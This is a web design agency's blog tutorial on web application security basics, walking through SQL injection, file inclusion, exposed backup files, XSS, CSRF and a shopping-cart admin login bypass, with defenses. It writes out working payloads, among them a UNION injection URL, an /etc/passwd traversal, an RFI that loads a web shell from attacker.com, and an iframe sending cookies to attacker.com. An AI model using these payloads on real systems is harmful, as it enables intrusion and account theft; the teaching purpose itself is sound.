Hello! We are MTR Design and site making is our speciality. We work with UK based startups, established businesses, media companies and creative individuals and turn their ideas into reality. This is a thrill and we totally love it.

Web Application Security Basics

Author: Dimitar Ivanov

Some History

With the development of the computers and the communication technologies, the question of the security is becoming more and more pressing. Nowadays, every individual has some kind of presence on the Internet. This is true to a much greater extent for the companies - you simply cannot do business if you do not use Internet and/or web-based solutions - ERP applications, collaboration tools, you name it. This is raising many questions, such as "How secure is the information of my company?"; "How secure is the information of my customers?"; "Can someone access this information without authorization?"; "What do I need to do to protect myself from getting hacked?", etc. These questions are more relevant today than they were in the past. Twenty years ago very few people used computers, and even fewer dealt with information security. For those that did, this was a hobby or a profession, and they had a different way of thinking - if they found a vulnerability in a software or a system, they would report it to the owners, so that they can fix or mitigate it. I remember in the 90's there was a guy that hacked the name server of our university network through the finger daemon, and report it it immediately without doing any harm. Now, when literally everyone has Internet access, things are quite different. Anyone can download working exploits for recently published vulnerabilities; there are tools that can automate most of the tasks you would go through to hack a website; and do not forget Google and Shodan, which you can use to find vulnerable targets. This is making "hacking" (if you can call it that) very easy.

Why the Web Application security matters?

Under these circumstances, it is not hard to answer this question. Since virtually anyone has access to "hacking resources", the threat to the information security has increased enormously. With the migration to the Web applications, combined with the whole fuzz around the cloud computing, the focus of the security specialists and researchers has shifted. On one hand, it is harder to find a remote exploit for the operating systems. On the other hand, it is much easier to target and compromise a Web application. Often, the only thing you need to do that is a Web browser - take the LFI, RFI, File Upload, SQLi. If the application is vulnerable to LFI, you can include the process environment, which is going to be parsed by the PHP interpreter. If you change the User-Agent to a PHP code, it will be executed, giving you a remote command execution. If there is an RFI, you can include a Web shell from a remote server, and so on. Additionally, the vulnerabilities are announced publicly, sometimes even before there is a patch for them. Yeah, but

why on earth would someone attack my company?

Well, the motivation of the hacker can be different - industrial espionage; getting a stepping stone (hopping station) for carrying out attacks on other machines/networks; real or imaginary profit; revenge, hacktivism, etc. Anyone can target any company even for no particular reason, so

what could be the damage?

No matter the motivation of the attacker, their actions can cause huge financial losses, loss of reputation and trust, law suits. If a server is hacked and used as a hopping station to target other networks, it may be confiscated by the law enforcement, which can lead to additional losses. If its content is deleted, this can directly affect the productivity. A compromise of a server can lead to attacks on the internal networks of the company. That is why, we need to know what are

the Most Common Vulnerabilities in the Web Applications

The Open Web Application Security Project (OWASP) defines ten categories, which combine "the most serious risks for a broad array of organizations." Below, we will outline some of the most common vulnerabilities we have met in the course of our work. Probably the most common and the easiest one to exploit is

SQL Injection - Exploiting the Developer

Almost every dynamic Web application uses some kind of database backend. The content displayed to the application users is stored in the database and displayed in the browser, depending on the parameters passed by the underlying scripts to the backend. These parameter, however, depend on the user behavior, and can, therefore, be modified by them. This is the basic functionality of the Web application. The problems arise when the parameters are passed to the database without any sanitizing. This allows malicious users to close the legitimate query and pass their own queries to the database and get the results one way or another. In other words, SQL Injection exploit the assumptions, made by the application developers. For example, when the developer produced the following code:

$sql = '
SELECT *
FROM products
WHERE id = ' . $_GET['id'];


they wanted the script to query the database for products matching a given ID that is passed as a GET parameter. That is, if the visitors access http://target.com//vulnerable_script.php?id=1, they would see the details for the product with ID 1. The database query will look like this:

SELECT *
FROM products
WHERE id = 1


In this particular case, the developers assumed that the 'id' parameter would always be an integer. However, since the value of the 'id' parameter is passed to the database by the user without any filtering, a malicious user can input the following URL in the browser: http://target.com//vulnerable_script.php? id=1+union+select+0,1,concat_ws(user(),0x3a,database(),0x3a,version()),3,4,5,6-- In this case, the DB query will look like this:

SELECT *
FROM products
WHERE id = 1
union all
select 0,1,concat_ws(user(),0x3A,database(),0x3A,version()),3,4,5,6


Basically, this tells the database to display the information about the product with ID 1 and combine it with a set of data that contains the information about the user, the name of the database and the version of the database server. This information is selected in the third column, separated by colons (0x3A). To make this query, the attacker needs to know the number of the columns in the database. This information can be easily obtained by several requests that instruct the database to display the data, ordered by a particular column. This is a basic example for a regular Union SQL Injection. There are other flavors of SQLi - error-based, time-based blind boolean-based blind. Error-based SQL Injection attacks rely on extracting information from the errors, returned by the database. There is a nice introductory tutorial on error-based SQLi on Youtube. Surprisingly often, developers think that when they hide the errors from the output, they have resolved the vulnerability. Of course, this is not the case - the fact that you cannot see the data, returned by the database (union-based) or the errors (error-based), does not mean that the script is not vulnerable. In these cases, an attacker can use Blind SQL Injection to exfiltrate data, i.e. brute-force the data, based on boolean or time-based conditions. In these cases, you will pass queries that will inspect the responses of the database server and reconstruct the data. Of course, the attackers and pentesters are not stuck with the browser to exploit these vulnerabilities. There are numerous tools that will automate the process. The best one is sqlmap. Bernardo and Miroslav have done amazing job developing this tool. There are several things that can be done to prevent SQL Injection. The most widely used method is

filtering the user input

This method is the easiest to implement and if not implemented properly, it can be bypassed. There are numerous techniques to bypass defenses, based on input filtering - case tampering, white space tampering, encoding the queries. A lot better defense against SQLi is to use

parameterized queries

or "prepared statements". These are essentially templates for SQL queries, which contain spaces where the user input will go. When the filled-in template is passed to the database, the entire user input would be in the space allocated for it in the template. The database will execute the query from the template, instead of the query that may be supplied in the user input. Alternatively, developers can use

ORM (Object Relational Mapping)

This is a technique for object conversion, which converts the tables in the database to scalar variables, creating a virtual database. In practice, the ORM systems generate parameterized queries. The second most common vulnerability in Web applications is

File Inclusion - Exploiting the Functionality

This is another vulnerability that is fairly easy to find and exploit. Essentially, this is the ability to include files from the machine on which the application runs, or from a remote server, visible to this machine. The possibility to include different scripts is essential for the work of every application - this is how the application logic is abstracted or how different pages are displayed, depending on the user choice. Let's take a fairly simple website that has four pages: Home, News, About Us, Contacts. If the visitor accesses the Home page, the URL they will use would look like that:

http://target.com/vulnerable_script?page=home


In other words, the script accepts one parameter (page), which value specifies the page that is requested by the visitor. Let's assume that the script has the following code:

<?php
$page = $_GET['page'];
if(isset($page)) {
include("$page");
}
else {
include("vulnerable_script.php");
}
?>


The code is self-explanatory - the value of the GET parameter page is assigned to a variable 'page'. If its value is not NULL, the script includes the script with a name that is the same as the value. The problem with this code is that the page variable is created from the user input without any checks or filtering. Therefore, if we access the following URL:

http://target.com/vulnerable_script?page=../../../../etc/passwd


the script will include and display the contents of the UNIX password file. This is a very simplified example of LFI. Often, programmers think that to secure the script above, they only need to add one little modification:

<?php
$page = $_GET['page'];
if(isset($page)) {
include("$page" . ".html");
}
else {
include("vulnerable_script.php");
}
?>


The only difference here is that a .html extension is added to the page that is included. However, by simply appending a null character (%00) to the URL, the attacker would still be able to include arbitrary files. This depends on the server configuration, the PHP version and may not work in all cases. In other cases, the developers use the file_exists() function, but this is functionality check, not a security one, because it does not limit the ability to include existing files. LFI vulnerabilities can easily lead to command execution in some cases. To achieve this, a malicious user can use the /proc file system, which is used in Linux as an interface to the kernel of the Operating System. Let's say that, again, we have a script that is vulnerable to LFI. To gain the ability to execute commands on the server, a malicious user can include /proc/self/environ. This is the environment of the current process - it contains the environmental variables for the running process. Besides the system environmental variables, it also contains the CGI variables (REMOTE_ADDR, HTTP_REFERER, HTTP_USER_AGENT, etc.) So, if the hacker changes the User-Agent header, passed to the server to a PHP script, the script will be parsed by the PHP interpreter and executed on the server. So far, we've looked into the ability to include files locally from the server, on which the vulnerable script is running. To include files from remote locations is not that different. Actually, if the server configuration allows the inclusion of remote scripts, and if the script is vulnerable, the only difference will be in the URL - the attacker would just have to use an address, such as

http://target.com/vulnerable_script?page=http://attacker.com/php_shell.txt%00


The file php_shell.txt will be included by the vulnerable script and parsed by the interpreter and executed locally on the server, effectively giving the attacker web shell access to the machine. Much like the SQL Injection vulnerabilities, the File Inclusion vulnerabilities are fairly easy to find and exploit. They are too a result of bad programming. Another such result is the

Arbitrary File Upload or Exploiting the Hostpitality

We have previously posted about these type of vulnerabilities, so we are going to skip this one here. The truth is that it is not just media upload forms that can be exploited. Any file upload script can be used. There may not even be an HTML form; the attackers can just make a request to the script. Even if we have a secure application, we should always be watching for

Unprotected Files or Exploiting the Negligence

People often make mistakes because of negligence. Developers and/or system administrators are not an exception to this rule. With the correct Google dorks we can find numerous configuration or backup files with database connect strings, scripts with improper content type that would be downloaded instead of executed in the browser, file managers with poor or no authentication, and so on. It may sound weird, but this is a fairly common mistake. Imagine that the developer of a web application has to make a quick change on the production server. They create a backup of the script that are about to change, and then leave the backup file with a .bak extension on the server. Even if the script does not contain sensitive data, such as usernames and passwords, it will still represent a security issue, because the backup file will most probably be downloaded by whoever accesses it. In another scenario, the Web application may use a Rich Text Editor, such as FCKEditor. There are lots of vulnerable versions of such editors that allow unauthenticated users to upload arbitrary files. The main reason for this security hole is the fact that people place files where they are not supposed to. To avoid this, you need to make sure that all files that should not be accessible over HTTP be placed outside the Web root directory. If for some reason this is not possible, these files should be protected properly. Probably the most common and overlooked vulnerability is

XSS or Exploiting the User

There are situations, in which the Web application allows us to get to the server through the user. The XSS (Cross-Site Scripting) vulnerabilities allow the attacker to inject custom scripts, which are executed in the context of the browser of the webapp user. This is due to improper validation of the output. There are two kinds of XSS vulnerabilities: persistent (stored) and non-peristent (reflected). Persistent XSS attacks store the injected code on the server and it is executed each time the page is displayed to the visitors. Here is an example scenario that uses stored XSS to get the cookie of the Web application user.

  • The attacker creates a script on their server that will collect the cookies.
  • The attacker injects the following hidden iframe in the application:
<iframe frameborder=0 height=0 width=0 src=javascript:void(document.location=”attacker.com/get_cookies.php?cookie=” + document.cookie)></iframe>
  • An authenticated user loads the page that contains the iframe.
  • The cookie is sent to the script, which writes it to a file or a database.
  • The attacker loads the cookie in their browser and is able to authenticate as the user.

Non-persistent XSS attacks are essentially the same; the only difference is that the injected code is not stored on the server. Instead, the attacker needs to trick the user to follow a link. Although XSS attacks usually attempt to steal cookies, this is not always the case. They may be used to target the passwords saved in the browser, and let's not forget BeEF. This means that setting the HttpOnly flag is not enough to protect the Web application users from XSS attacks. The best protection will be to validate and sanitizing the input and the output of the application alongside with tightened cookie security policies. A close relative of the XSS is the

XSRF or Exploiting the Browser

In its essence, the Cross-Site Request Forgery (CSRF or XSRF) attack is a hybrid between an XSS and a LFI attack. XSRF attacks are a way to issue commands from a user that the Web application trusts. Suppose we have a page in our Web application where the users can change their passwords. If the form is vulnerable to XSRF, the attacker can exploit this vulnerability to reset the password of the user. Here is how such an attack will take place:

  • The attacker creates their own form on their server:
<html>
    <head></head>
    <body onLoad="javascript:document.password_form.submit()">
        <form action="https://target.com/admin/admin.php?" method=post name="password_form">
            <input type=hidden name=a value=change_password>
            <input type=password name=password1 VALUE="new_pass">
            <input type=password name=password2 VALUE="new_pass">
        </form>
    </body>
</html>
  • The attacker creates a seemingly empty HTML page, which contains a hidden iframe or an img tag that loads the form.
  • The attacker tricks the user to access the page (the user has to have an active session with the Web application).
  • The form submits the data to the server, effectively changing the password.

The only difficult thing in the attack is to trick the user to visit the page, while being logged in the application. This may be achieved with a spoofed e-mail, instant message, and so on. To protect users against such attacks, developers need to use anti-XSRF tokens in POST requests. Additionally, user actions, such as changing their passwords, should require an additional confirmation, usually, the users should enter the old passwords. Both CSS and CSRF attacks attempt to steal user accounts. This can also be achieved via attacking the

Authentication and Authorization or Exploiting the Implementation

We all know that assumptions are bad, but we still continue to assume. Fairly often the developers of the application make assumptions on how the authorization and the authentication of the users should work. These assumptions are sometimes wrong, and malicious users can conduct actions that do not always match whatever the developers have taken for granted. Let's take one of the most famous shopping cart scripts for an example. Here is how the administrators of the application log in to the administrative interface.

  • The administrator accesses http://target.com/catalog/admin.
  • The script redirects to the login.php script.
  • The administrator enters their login credentials.
  • The script checks the login credentials.
  • If they are correct, the administrator is logged in.
  • If they are not correct, the script asks the user for their login credentials again.

This is achieved by showing the login.php script to every unauthenticated user of the appl
ication. Let's see part of the code of the script. The login.php script contains the following code:

require('includes/application_top.php');


and here is the part of the application_top.php script that checks if the user is authenticated:

// redirect to login page if administrator is not yet logged in 
if (!tep_session_is_registered('admin')) { 
$redirect = false; 
$current_page = bassename($PHP_SELF); 
if ($current_page != FILENAME_LOGIN) { 
if (!tep_session_is_registered('redirect_origin')) { 
tep_session_register('redirect_origin'); 
$redirect_origin = array('page' => $current_page, 'get' => $HTTP_GET_VARS); 
} 
$redirect = true; 
} 
if ($redirect == true) { 
tep_redirect(tep_href_link(FILENAME_LOGIN)); 
} 
unset($redirect); 
}


What it basically does is check if the basename of $PHP_SELF is login.php. If it is login.php, then it serves the page; otherwise you will be redirected to login.php. Now, imaging that the attackers accesses the following URL:

http://target.com/catalog/admin/file_manager.php/login.php

The basename of $PHP_SELF is login.php, so the redirect is completely bypassed and the script renders the page, which, is of course, file_manager.php.

The attacker can also make a POST request to http://target.com/catalog/admin/administrators.php/login.php?action=insert and add themselves as a site administrator, upload a Web shell, and so on, and so forth.

Such vulnerabilities are due to mistakes in the programming. They are a bit harder to detect by the attackers, but they are extremely unpleasant, as they give access to the application to unauthenticated users.

To avoid these vulnerabilities, the logic of the application has to be very well planned, and the the implementation should be thoroughly tested.

Of course, there are other vulnerabilities , and attacks that are hybrids of the attacks described above. There is no post that can encompass them all. But we can safely say that these are the most common vulnerabilities and attacks on the Internet nowadays.

In a follow-up post we will discuss the defense and the penetration tests as part of the defense.


This article is translated to Serbo-Croatian language by Anja Skrba from Webhostinggeeks.com.

Published in: Development, Security